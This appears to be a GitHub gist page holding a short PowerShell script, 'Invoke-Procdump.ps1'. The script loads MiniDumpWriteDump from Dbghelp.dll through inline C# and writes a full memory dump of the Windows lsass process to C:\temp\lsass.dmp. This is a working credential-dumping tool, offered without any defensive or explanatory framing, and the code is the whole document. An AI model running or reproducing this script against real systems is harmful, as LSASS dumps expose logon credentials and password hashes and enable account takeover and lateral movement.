Skip to content

Instantly share code, notes, and snippets.

@dmaasland

dmaasland/Invoke-Procdump.ps1

Created November 27, 2019 12:28
Show Gist options
  • Save dmaasland/b8a1e66a14d448ec5a28640e2e2a1605 to your computer and use it in GitHub Desktop.
Save dmaasland/b8a1e66a14d448ec5a28640e2e2a1605 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. dmaasland created this gist Nov 27, 2019.
    23 changes: 23 additions & 0 deletions Invoke-Procdump.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,23 @@
    $Source = @"
    using System;
    using System.Runtime.InteropServices;
    namespace ProcDump {
    public static class DbgHelp {
    [DllImport("Dbghelp.dll")]
    public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, IntPtr hFile, IntPtr DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
    }
    }
    "@

    If (-Not "ProcDump" -as [Type]) {
    Add-Type -TypeDefinition $Source
    }

    $Process = [System.Diagnostics.Process]::GetProcessesByName("lsass")
    $DumpPath = "C:\temp\$($Process.Name).dmp"

    $DumpStream = [System.IO.FileStream]::new($DumpPath, [System.IO.FileMode]::Create)
    $DumpType = [IntPtr]::new(2)
    $Dump = [ProcDump.DbgHelp]::MiniDumpWriteDump($Process.Handle, $Process.Id, $DumpStream.Handle, $DumpType, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
    $DumpStream.Dispose()